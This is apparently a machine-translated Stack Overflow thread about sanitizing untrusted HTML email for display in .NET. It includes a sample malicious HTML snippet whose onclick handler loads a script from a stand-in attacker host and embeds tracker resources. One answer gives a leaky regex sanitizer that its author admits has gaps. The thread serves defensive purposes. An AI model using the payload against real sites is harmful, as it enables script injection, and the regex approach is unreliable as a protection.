2010-12-30 7 views
29

Это распространенная проблема, я надеюсь, что она была полностью решена для меня.Что я могу использовать для дезинфекции полученного HTML при сохранении основного форматирования?

В системе, которую я выполняю для клиента, мы хотим принять HTML из ненадежных источников (HTML-форматированный адрес электронной почты, а также файлы HTML), дезинформировать его, чтобы у него не было никаких скриптов, ссылок на внешние ресурсы, и другая безопасность/и т. д. вопросы; а затем безопасно отображать его, не теряя при этом основного форматирования. Например, так же, как клиент электронной почты будет обрабатывать электронную почту в формате HTML, но в идеале, не повторяя 347 821 ошибки, которые были сделаны (до сих пор) на этой арене. :-)

Цель состоит в том, чтобы в конечном итоге то, что мы чувствовали бы себя комфортно отображения для внутренних пользователей через iframe в нашем собственном веб-интерфейс, или через WebBrowser class в .Net Windows Forms приложение (которое, кажется, нет безопаснее, возможно, меньше) и т. д. Пример ниже.

Мы понимаем, что некоторые из них могут хорошо отображать текст; это нормально.

Мы будем дезинфицировать в HTML на получение и хранение облагороженная версия (не волнуйтесь о части хранения   — SQL инъекций и т.п.   — мы получили, что немного покрыты).

Программное обеспечение должно запускаться на Windows Server. Рекомендуется сборка COM DLL или .Net. FOSS заметно предпочтительнее, но не является нарушителем сделки.

То, что я нашел до сих пор:

  • AntiSamy.Net project(но это, кажется, no longer be under active development, будучи в течение года за основным   — и активного   — AntiSamy Java project).
  • Some code от нашего собственного Jeff Atwood, около трех лет назад (gee, интересно, что он делал ...).
  • HTML Agility Pack(используется проектом AntiSamy.Net выше), что дало бы мне сильный парсер; то я мог бы реализовать свою собственную логику для прохождения через итоговую DOM и отфильтровывать все, что я не имел в белом списке. Пакет маневренности выглядит действительно замечательно, но я буду полагаться на свой собственный белый список, а не на повторное использование колеса, которое кто-то уже изобрел, так что это противник.
  • Microsoft Anti-XSS library

Что бы вы порекомендовали для решения этой задачи? Один из вышеперечисленных? Что-то другое?


Например, мы хотим, чтобы удалить такие вещи, как:

  • script элементов
  • link, img, и такие элементы, которые достигают к внешним ресурсам (возможно заменить img с текстом «[ изображение удалено] "или некоторые такие)
  • embed, object, applet, audio, video и другие теги, которые пытаются создавать объекты
  • onclick и аналогичные Dom0 событие кода обработчика сценария
  • href s на a элементов, которые вызывают код (даже ссылки мы думаем, все в порядке, мы вполне может превратиться в незашифрованном, что пользователи должны намеренно копировать и вставлять в браузер).
  • __________ (722 вещей, которые я не думал о том, что есть причина, я ищу использовать то, что уже существует)

Так, например, этот HTML:

<!DOCTYPE html> 
<html> 
<head> 
<title>Example</title> 
<link rel="stylesheet" type="text/css" href="http://evil.example.com/tracker.css"> 
</head> 
<body> 
<p onclick="(function() { var s = document.createElement('script'); s.src = 'http://evil.example.com/scriptattack.js'; document.body.appendChild(s);)();"> 
<strong>Hi there!</strong> Here's my nefarious tracker image: 
<img src='http://evil.example.com/xparent.gif'> 
</p> 
</body> 
</html> 

станет

<!DOCTYPE html> 
<html> 
<head> 
<title>Example</title> 
</head> 
<body> 
<p> 
<strong>Hi there!</strong> Here's my nefarious tracker image: 
[image removed] 
</p> 
</body> 
</html> 

(Примечание мы удалили link и onclick полностью, и заменил img на заполнитель. Это всего лишь небольшое подмножество того, что мы считаем нужным выделять.)

+0

Хороший вопрос. Ручной анализ будет кошмаром. – Dutchie432

ответ

2

Я чувствую, что вам определенно нужен синтаксический анализатор, который может генерировать источник XML/DOM, чтобы вы могли применять его для создания что ты ищешь.

См., Если HtmlTidy или Mozilla или HtmlCleaner анализаторы могут помочь. В HtmlCleaner есть много configurable options, на которые вы также можете посмотреть. В частности, transform section, который позволяет пропустить теги, которые вам не нужны.

+0

Спасибо! Да, в то время как синтаксический анализатор - значительная часть, как я упоминал в отношении пакета Agility Pack, еще одна важная часть - это знание того, что нужно оставить или что нужно сохранить. Я бы предпочел встать на плечи, чем создать свой собственный список с нуля ... (Но если мне нужно, я буду.) Спасибо за ссылки парсера! –

+0

Посмотрите на раздел преобразования здесь http://htmlcleaner.sourceforge.net/parameters.php#transform. У него есть возможность пропускать теги –

+0

Да, я понимаю. Моя точка - это список тегов (и атрибут и ...), чтобы пропустить. –

1

Предлагаю посмотреть на http://htmlpurifier.org/. Их библиотека довольно полна.

+0

Спасибо. PHP полностью вышел из уравнения, но это не значит, что я не могу взглянуть на их белый список для какого-то вдохновения. –

1

Я бы предложил использовать другой подход. Если вы контролируете метод просмотра HTML, я бы удалил все угрозы с помощью рендеринга HTML, который не имеет механизма сценария ECMA или любой возможности XSS. Я вижу, вы собираетесь использовать встроенный объект WebBrowser, и правильно, вы хотите создать HTML-код, который нельзя использовать для атаки ваших пользователей.

Я рекомендую искать базовый движок отображения HTML. Тот, который не может разобрать или понять любую из функций сценариев, которые сделают вас уязвимыми. Тогда все javascript будут проигнорированы.

У этого есть еще одна проблема. Вам нужно будет убедиться, что используемый вами зритель не подвержен другим типам атак.

+1

Спасибо. У такого зрителя также должно быть средство, позволяющее мне контролировать (предотвращать) все запросы на внешние ресурсы (например, отслеживать изображения и т. Д.). Чистый рендерер предположительно сделал бы это как побочный продукт, требующий от меня предоставить что-то, чтобы получить ссылку на него. :-) Cheers, –

0

Интересная проблема: я потратил некоторое время на это, потому что есть много вещей, которые мы хотим удалить из пользователя imput, и даже если я сделаю длинный список вещей, которые нужно удалить, последний из HTML может развиваться и мой список будет иметь некоторые отверстия. Тем не менее, я хочу, чтобы пользователи вводили некоторые простые вещи, такие как жирный, курсив, абзацы ... prety simple. Нет сомнений, что список разрешенных вещей короче, и html может изменить последнее, что не сделает отверстия в моем списке, если html не остановит поддержку этих простых вещей. Так что начните думать иначе, скажите только то, что вы позволяете, с большой болью, потому что я не эксперт по регулярному выражению (поэтому, пожалуйста, некоторые люди регулярных выражений меня исправят или улучшат), я закодировал это выражение и его рабочую форму, даже до того, как выйдет HTML5.

replace(/(?!<[/]?(b|i|p|br)(\s[^<]*>|[/]>|>))<[^>]*>/gi,"") 

(б | я | р | ш) < - это список разрешенных тегов, не стесняйтесь добавлять некоторые.

это начальная точка и вот почему некоторые регулярные выражения люди должны улучшить, чтобы удалить также атрибуты, как OnClick

, если я это сделать:

(?!<[/]?(b|i|p|br)(\s*>|[/]>|>))<[^>]*> 

метки с OnClick или другие вещи будут удалены, но соответствующие теги закрытия будут оставаться, и в конце концов мы не хотим, чтобы эти теги были удалены, мы просто хотим удалить атрибуты тега.

возможно второе регулярное выражение проходят с

(?!<[^<>\s]+)\s[^</>]+(?=[/>]) 

я прав? может ли это быть составлено за один проход?

мы все еще не имеем отношения между бирками (открытие/закрытие), нет много до сих пор. Можно ли удалить атрибут, чтобы удалить все, а не из белых списков? (возможно, да).

последняя проблема .. при удалении тегов как сценария содержания остается, его желательно при удалении шрифта но не сценария, хорошо мы можем сделать первый проход с

<(script|object|embed)[^>]*>.*</\1> 

что будет удалить определенные теги и их содержимое .. но его черный список, то есть вы должны следить за ним в случае изменения html.

примечание: все с "ГИ"

редактирования:

присоединился все выше на этой функции

String.prototype.sanitizeHTML=function (white,black) { 
    if (!white) white="b|i|p|br";//allowed tags 
    if (!black) black="script|object|embed";//complete remove tags 
    e=new RegExp("(<("+black+")[^>]*>.*</\\2>|(?!<[/]?("+white+")(\\s[^<]*>|[/]>|>))<[^<>]*>|(?!<[^<>\\s]+)\\s[^</>]+(?=[/>]))", "gi"); 
    return this.replace(e,""); 
} 

-черный список -> полный удалить тег и содержание -белый список - > сохранить теги удалены другие теги, но содержимое тегов сохраняется все атрибуты тега белого списка (остальные) удаляются

все еще есть место для белого списка атрибутов (не реализовано выше), потому что, если я хочу сохранить IMG, тогда src должен остаться ... и как насчет отслеживания изображений?

3

Это старый, но все же актуальный вопрос.

Мы используем HtmlSanitizer.Чистая библиотека, которая:

  • является открытым исходным кодом
  • активно поддерживается
  • не имеет problems like Microsoft Anti-XSS library,
  • ли тестирование блок с OWASP XSS Filter Evasion Cheat Sheet
  • специальный встроенный для этого (в отличие от HTML Agility Pack, который является парсером)

Также на NuGet

+1

Выглядит неплохо! Благодаря! В эти дни, конечно, вопрос будет закрыт как «рекомендательный» вопрос. В любом случае, я очень благодарен за ваш ответ. –